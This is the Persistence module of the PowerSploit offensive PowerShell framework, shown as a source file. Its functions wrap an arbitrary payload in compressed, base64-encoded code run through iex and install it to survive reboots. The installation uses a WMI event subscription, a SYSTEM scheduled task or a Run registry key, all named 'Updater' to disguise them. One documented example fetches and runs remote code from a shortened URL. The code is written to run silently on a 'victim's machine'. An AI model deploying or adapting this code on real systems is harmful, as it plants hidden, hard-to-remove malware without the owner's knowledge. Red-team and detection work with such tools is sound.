aboutsummaryrefslogtreecommitdiff
path: root/Persistence/Persistence.psm1
blob: d0545d6ce115b272b5660aa7d6c60a1f7c6ee418 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
function New-ElevatedPersistenceOption
{
<#
.SYNOPSIS

    Configure elevated persistence options for the Add-Persistence function.

    PowerSploit Function: New-ElevatedPersistenceOption
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.DESCRIPTION

    New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.

.PARAMETER PermanentWMI

    Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.

    Detection Difficulty:        Difficult
    Removal Difficulty:          Difficult
    User Detectable?             No

.PARAMETER ScheduledTask

    Persist via a scheduled task.

    Detection Difficulty:        Moderate
    Removal Difficulty:          Moderate
    User Detectable?             No

.PARAMETER Registry

    Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.

    Detection Difficulty:        Easy
    Removal Difficulty:          Easy
    User Detectable?             Yes

.PARAMETER AtLogon

    Starts the payload upon any user logon.

.PARAMETER AtStartup

    Starts the payload within 240 and 325 seconds of computer startup.

.PARAMETER OnIdle

    Starts the payload after one minute of idling.

.PARAMETER Daily

    Starts the payload daily.

.PARAMETER At

    Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.

.EXAMPLE

    C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'

.EXAMPLE

    C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup

.EXAMPLE

    C:\PS> $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle

.LINK

    http://www.exploit-monday.com
#>

    [CmdletBinding()] Param (
        [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
        [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
        [Switch]
        $PermanentWMI,

        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
        [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
        [Switch]
        $ScheduledTask,

        [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
        [Switch]
        $Registry,

        [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [Switch]
        $Daily,

        [Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [DateTime]
        $At,

        [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
        [Switch]
        $OnIdle,

        [Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
        [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
        [Switch]
        $AtLogon,

        [Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
        [Switch]
        $AtStartup
    )

    $PersistenceOptionsTable = @{
        Method = ''
        Trigger = ''
        Time = ''
    }

    switch ($PSCmdlet.ParameterSetName)
    {
        'PermanentWMIAtStartup'
        {
            $PersistenceOptionsTable['Method'] = 'PermanentWMI'
            $PersistenceOptionsTable['Trigger'] = 'AtStartup'
        }

        'PermanentWMIDaily'
        {
            $PersistenceOptionsTable['Method'] = 'PermanentWMI'
            $PersistenceOptionsTable['Trigger'] = 'Daily'
            $PersistenceOptionsTable['Time'] = $At
        }

        'ScheduledTaskAtLogon'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'AtLogon'
        }

        'ScheduledTaskOnIdle'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'OnIdle'
        }

        'ScheduledTaskDaily'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'Daily'
            $PersistenceOptionsTable['Time'] = $At
        }

        'Registry'
        {
            $PersistenceOptionsTable['Method'] = 'Registry'
            $PersistenceOptionsTable['Trigger'] = 'AtLogon'
        }
    }

    $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
    $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOption'

    Write-Output $PersistenceOptions
}

function New-UserPersistenceOption
{
<#
.SYNOPSIS

    Configure user-level persistence options for the Add-Persistence function.

    PowerSploit Function: New-UserPersistenceOption
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.DESCRIPTION

    New-UserPersistenceOption allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: scheduled task, registry.

.PARAMETER ScheduledTask

    Persist via a scheduled task.

    Detection Difficulty:        Moderate
    Removal Difficulty:          Moderate
    User Detectable?             No

.PARAMETER Registry

    Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.

    Detection Difficulty:        Easy
    Removal Difficulty:          Easy
    User Detectable?             Yes

.PARAMETER AtLogon

    Starts the payload upon any user logon.

.PARAMETER OnIdle

    Starts the payload after one minute of idling.

.PARAMETER Daily

    Starts the payload daily.

.PARAMETER At

    Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.

.EXAMPLE

    C:\PS> $UserOptions = New-UserPersistenceOption -Registry -AtLogon

.EXAMPLE

    C:\PS> $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle

.LINK

    http://www.exploit-monday.com
#>

    [CmdletBinding()] Param (
        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
        [Switch]
        $ScheduledTask,

        [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
        [Switch]
        $Registry,

        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [Switch]
        $Daily,

        [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
        [DateTime]
        $At,

        [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
        [Switch]
        $OnIdle,

        [Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
        [Switch]
        $AtLogon
    )

    $PersistenceOptionsTable = @{
        Method = ''
        Trigger = ''
        Time = ''
    }

    switch ($PSCmdlet.ParameterSetName)
    {
        'ScheduledTaskAtLogon'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'AtLogon'
        }

        'ScheduledTaskOnIdle'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'OnIdle'
        }

        'ScheduledTaskDaily'
        {
            $PersistenceOptionsTable['Method'] = 'ScheduledTask'
            $PersistenceOptionsTable['Trigger'] = 'Daily'
            $PersistenceOptionsTable['Time'] = $At
        }

        'Registry'
        {
            $PersistenceOptionsTable['Method'] = 'Registry'
            $PersistenceOptionsTable['Trigger'] = 'AtLogon'
        }
    }

    $PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
    $PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.UserPersistenceOption'

    Write-Output $PersistenceOptions
}

function Add-Persistence
{
<#
.SYNOPSIS

    Add persistence capabilities to a script.

    PowerSploit Function: Add-Persistence
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
    Optional Dependencies: None
 
.DESCRIPTION

    Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.

.PARAMETER ScriptBlock

    Specifies a scriptblock containing your payload.

.PARAMETER FilePath

    Specifies the path to your payload.

.PARAMETER ElevatedPersistenceOption

    Specifies the trigger for the persistent payload if the target is running elevated.
    You must run New-ElevatedPersistenceOption to generate this argument.

.PARAMETER UserPersistenceOption

    Specifies the trigger for the persistent payload if the target is not running elevated.
    You must run New-UserPersistenceOption to generate this argument.

.PARAMETER PersistenceScriptName

    Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.

.PARAMETER DoNotPersistImmediately

    Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.

.PARAMETER PersistentScriptFilePath

    Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.

.PARAMETER RemovalScriptFilePath

    Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.

.PARAMETER PassThru

    Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.

.INPUTS

    None

    Add-Persistence cannot receive any input from the pipeline.

.OUTPUTS

    System.Management.Automation.ScriptBlock

    If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.

.NOTES

    When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.

.EXAMPLE

    C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
    C:\PS>$UserOptions = New-UserPersistenceOption -Registry -AtLogon
    C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

    Description
    -----------
    Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.

.EXAMPLE

    C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
    C:\PS>$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
    C:\PS>$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
    C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1

    Description
    -----------
    Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1

.LINK

    http://www.exploit-monday.com
#>

    [CmdletBinding()] Param (
        [Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
        [ValidateNotNullOrEmpty()]
        [ScriptBlock]
        $ScriptBlock,

        [Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
        [ValidateNotNullOrEmpty()]
        [Alias('Path')]
        [String]
        $FilePath,

        [Parameter( Mandatory = $True )]
        $ElevatedPersistenceOption,

        [Parameter( Mandatory = $True )]
        $UserPersistenceOption,

        [ValidateNotNullOrEmpty()]
        [String]
        $PersistenceScriptName = 'Update-Windows',

        [ValidateNotNullOrEmpty()]
        [String]
        $PersistentScriptFilePath = "$PWD\Persistence.ps1",

        [ValidateNotNullOrEmpty()]
        [String]
        $RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",

        [Switch]
        $DoNotPersistImmediately,

        [Switch]
        $PassThru
    )

    Set-StrictMode -Version 2

#region Validate arguments

    if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
    {
        throw 'You provided invalid elevated persistence options.'
    }

    if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
    {
        throw 'You provided invalid user-level persistence options.'
    }

    $Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
    $Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
    $PersistentScriptFile = ''
    $RemovalScriptFile = ''

    if ($Path -eq '')
    {
        $PersistentScriptFile = "$($PWD)\$($Leaf)"
    }
    else
    {
        $PersistentScriptFile = "$($Path)\$($Leaf)"
    }

    $Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
    $Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
    if ($Path -eq '')
    {
        $RemovalScriptFile = "$($PWD)\$($Leaf)"
    }
    else
    {
        $RemovalScriptFile = "$($Path)\$($Leaf)"
    }

    if ($PSBoundParameters['FilePath'])
    {
        Get-ChildItem $FilePath -ErrorAction Stop
        $Script = [IO.File]::ReadAllText((Resolve-Path $Path))
    }
    else
    {
        $Script = $ScriptBlock
    }

#endregion

#region Initialize data

    $CompressedScript = ''
    $UserTrigger = ''
    $UserTriggerRemoval = ''
    $ElevatedTrigger = "''"
    $ElevatedTriggerRemoval = ''
    $UserTrigger = "''"
    $UserTriggerRemoval = ''
    $CommandLine = ''

#endregion

#region Compress the original payload in preparation for the persistence script

    $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
    $CompressedStream = New-Object IO.MemoryStream
    $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
    $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
    $DeflateStream.Dispose()
    $CompressedScriptBytes = $CompressedStream.ToArray()
    $CompressedStream.Dispose()
    $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)

    # Generate the code that will decompress and execute the payload.
    # This code is intentionally ugly to save space.
    $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'

#endregion

#region Process persistence options

    # Begin processing elevated persistence options
    switch ($ElevatedPersistenceOption.Method)
    {
        'PermanentWMI'
        {
            $ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
            }

            switch ($ElevatedPersistenceOption.Trigger)
            {
                'AtStartup'
                {
                    $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
                }

                'Daily'
                {
                    $ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
                }

                default
                {
                    throw 'Invalid elevated persistence options provided!'
                }
            }
        }

        'ScheduledTask'
        {
            $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
            $ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"

            switch ($ElevatedPersistenceOption.Trigger)
            {
                'AtLogon'
                {
                    $ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
                }
                
                'Daily'
                {
                    $ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
                }

                'OnIdle'
                {
                    $ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
                }

                default
                {
                    throw 'Invalid elevated persistence options provided!'
                }
            }

            $ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
        }

        'Registry'
        {
            $ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
            $ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
            $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
            $ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
        }

        default
        {
            throw 'Invalid elevated persistence options provided!'
        }
    }

    # Begin processing user-level persistence options
    switch ($UserPersistenceOption.Method)
    {
        'ScheduledTask'
        {
            $CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
            $UserTriggerRemoval = "schtasks /Delete /TN Updater"

            switch ($UserPersistenceOption.Trigger)
            {
                'Daily'
                {
                    $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR "
                }

                'OnIdle'
                {
                    $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
                }

                default
                {
                    throw 'Invalid user-level persistence options provided!'
                }
            }

            $UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
        }

        'Registry'
        {
            $UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
            $UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
            $CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
            $UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
        }

        default
        {
            throw 'Invalid user-level persistence options provided!'
        }
    }

#endregion

#region Original script with its persistence logic will reside here

# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION

}

    $PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
    $PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
    $PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
    $PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)

    if ($DoNotPersistImmediately)
    {
        $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
    }
    else
    {
        $PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
    }

#endregion

#region Generate final output

# Generate the persistence removal script
$PersistenceRemoval = @"
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
"@

    
    $PersistantScript | Out-File $PersistentScriptFile
    Write-Verbose "Persistence script written to $PersistentScriptFile"

    $PersistenceRemoval | Out-File $RemovalScriptFile
    Write-Verbose "Persistence removal script written to $RemovalScriptFile"

    if ($PassThru)
    {
        # Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
        Write-Output ([ScriptBlock]::Create($PersistantScript))
    }

#endregion
}